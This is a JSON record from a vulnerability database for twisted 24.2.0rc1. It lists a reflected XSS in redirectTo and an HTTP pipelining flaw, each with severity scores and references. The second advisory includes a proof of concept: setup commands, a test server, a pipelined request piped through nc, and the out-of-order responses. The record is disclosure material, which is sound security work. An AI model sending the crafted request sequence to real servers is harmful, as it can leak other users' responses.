{"url":"http://public2.vulnerablecode.io/api/packages/47732?format=json","purl":"pkg:pypi/twisted@24.2.0rc1","type":"pypi","namespace":"","name":"twisted","version":"24.2.0rc1","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":"24.7.0rc1","latest_non_vulnerable_version":"24.7.0rc1","affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/13401?format=json","vulnerability_id":"VCID-562c-1hjs-hqau","summary":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. The `twisted.web.util.redirectTo` function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body. This vulnerability is fixed in 24.7.0rc1.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2024-41810.json","reference_id":"","reference_type":"","scores":[{"value":"4.2","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2024-41810.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2024-41810","reference_id":"","reference_type":"","scores":[{"value":"0.67844","scoring_system":"epss","scoring_elements":"0.98586","published_at":"2026-04-13T12:55:00Z"},{"value":"0.67844","scoring_system":"epss","scoring_elements":"0.98585","published_at":"2026-04-12T12:55:00Z"},{"value":"0.67844","scoring_system":"epss","scoring_elements":"0.98583","published_at":"2026-04-09T12:55:00Z"},{"value":"0.67844","scoring_system":"epss","scoring_elements":"0.98582","published_at":"2026-04-08T12:55:00Z"},{"value":"0.67844","scoring_system":"epss","scoring_elements":"0.9858","published_at":"2026-04-07T12:55:00Z"},{"value":"0.67844","scoring_system":"epss","scoring_elements":"0.98578","published_at":"2026-04-04T12:55:00Z"},{"value":"0.67844","scoring_system":"epss","scoring_elements":"0.98575","published_at":"2026-04-02T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2024-41810"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41810","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41810"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"6.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2024-75.yaml","reference_id":"","reference_type":"","scores":[{"value":"6.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"value":"5.3","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2024-75.yaml"},{"reference_url":"https://github.com/twisted/twisted","reference_id":"","reference_type":"","scores":[{"value":"6.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"value":"5.3","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/twisted/twisted"},{"reference_url":"https://github.com/twisted/twisted/commit/046a164f89a0f08d3239ecebd750360f8914df33","reference_id":"","reference_type":"","scores":[{"value":"6.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"value":"5.3","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-07-29T16:39:25Z/"}],"url":"https://github.com/twisted/twisted/commit/046a164f89a0f08d3239ecebd750360f8914df33"},{"reference_url":"https://github.com/twisted/twisted/security/advisories/GHSA-cf56-g6w6-pqq2","reference_id":"","reference_type":"","scores":[{"value":"6.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"5.3","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-07-29T16:39:25Z/"}],"url":"https://github.com/twisted/twisted/security/advisories/GHSA-cf56-g6w6-pqq2"},{"reference_url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00028.html","reference_id":"","reference_type":"","scores":[{"value":"6.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"value":"5.3","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00028.html"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2024-41810","reference_id":"","reference_type":"","scores":[{"value":"6.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/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has disordered HTTP pipeline response\n### Summary\n\nThe HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.\n\n### PoC\n0. Start a fresh Debian container:\n```sh\ndocker run --workdir /repro --rm -it debian:bookworm-slim\n```\n1. Install twisted and its dependencies:\n```sh\napt -y update && apt -y install ncat git python3 python3-pip \\\n    && git clone --recurse-submodules https://github.com/twisted/twisted \\\n    && cd twisted \\\n    && pip3 install --break-system-packages .\n```\n2. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:\n```python\nfrom twisted.web import server, resource\nfrom twisted.internet import reactor\n\nclass TheResource(resource.Resource):\n    isLeaf = True\n\n    def render_GET(self, request) -> bytes:\n        return b\"GET\"\n\n    def render_POST(self, request) -> bytes:\n        return b\"POST\"\n\nsite = server.Site(TheResource())\nreactor.listenTCP(80, site)\nreactor.run()\n```\n3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:\n```sh\n(printf 'POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nPOST / HTTP/1.1\\r\\nContent-Length: 0\\r\\n\\r\\n'; sleep 1; printf 'GET / HTTP/1.1\\r\\n\\r\\n'; sleep 1) | nc localhost 80\n```\n4. Observe that the responses arrive out of order:\n```\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:41 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 4\nContent-Type: text/html\n\nGET\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\n```\n\n### Impact\nSee [GHSA-xc8x-vp79-p3wm](https://github.com/twisted/twisted/security/advisories/GHSA-xc8x-vp79-p3wm). Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2024-41671","reference_id":"","reference_type":"","scores":[{"value":"0.00098","scoring_system":"epss","scoring_elements":"0.27164","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00098","scoring_system":"epss","scoring_elements":"0.27107","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00098","scoring_system":"epss","scoring_elements":"0.27061","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00098","scoring_system":"epss","scoring_elements":"0.26992","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00098","scoring_system":"epss","scoring_elements":"0.272","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00108","scoring_system":"epss","scoring_elements":"0.29021","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00108","scoring_system":"epss","scoring_elements":"0.29072","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00108","scoring_system":"epss","scoring_elements":"0.29116","published_at":"2026-04-11T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2024-41671"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41671","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41671"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"8.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/twisted/twisted","reference_id":"","reference_type":"","scores":[{"value":"8.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L"},{"value":"6.9","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/twisted/twisted"},{"reference_url":"https://github.com/twisted/twisted/commit/046a164f89a0f08d3239ecebd750360f8914df33","reference_id":"","reference_type":"","scores":[{"value":"8.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L"},{"value":"6.9","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-07-29T18:59:07Z/"}],"url":"https://github.com/twisted/twisted/commit/046a164f89a0f08d3239ecebd750360f8914df33"},{"reference_url":"https://github.com/twisted/twisted/commit/4a930de12fb67e88fefcb8822104152f42b27abc","reference_id":"","reference_type":"","scores":[{"value":"8.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L"},{"value":"6.9","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-07-29T18:59:07Z/"}],"url":"https://github.com/twisted/twisted/commit/4a930de12fb67e88fefcb8822104152f42b27abc"},{"reference_url":"https://github.com/twisted/twisted/security/advisories/GHSA-c8m8-j448-xjx7","reference_id":"","reference_type":"","scores":[{"value":"8.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"6.9","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-07-29T18:59:07Z/"}],"url":"https://github.com/twisted/twisted/security/advisories/GHSA-c8m8-j448-xjx7"},{"reference_url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00028.html","reference_id":"","reference_type":"","scores":[{"value":"8.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L"},{"value":"6.9","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00028.html"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2024-41671","reference_id":"","reference_type":"","scores":[{"value":"8.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L"},{"value":"6.9","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV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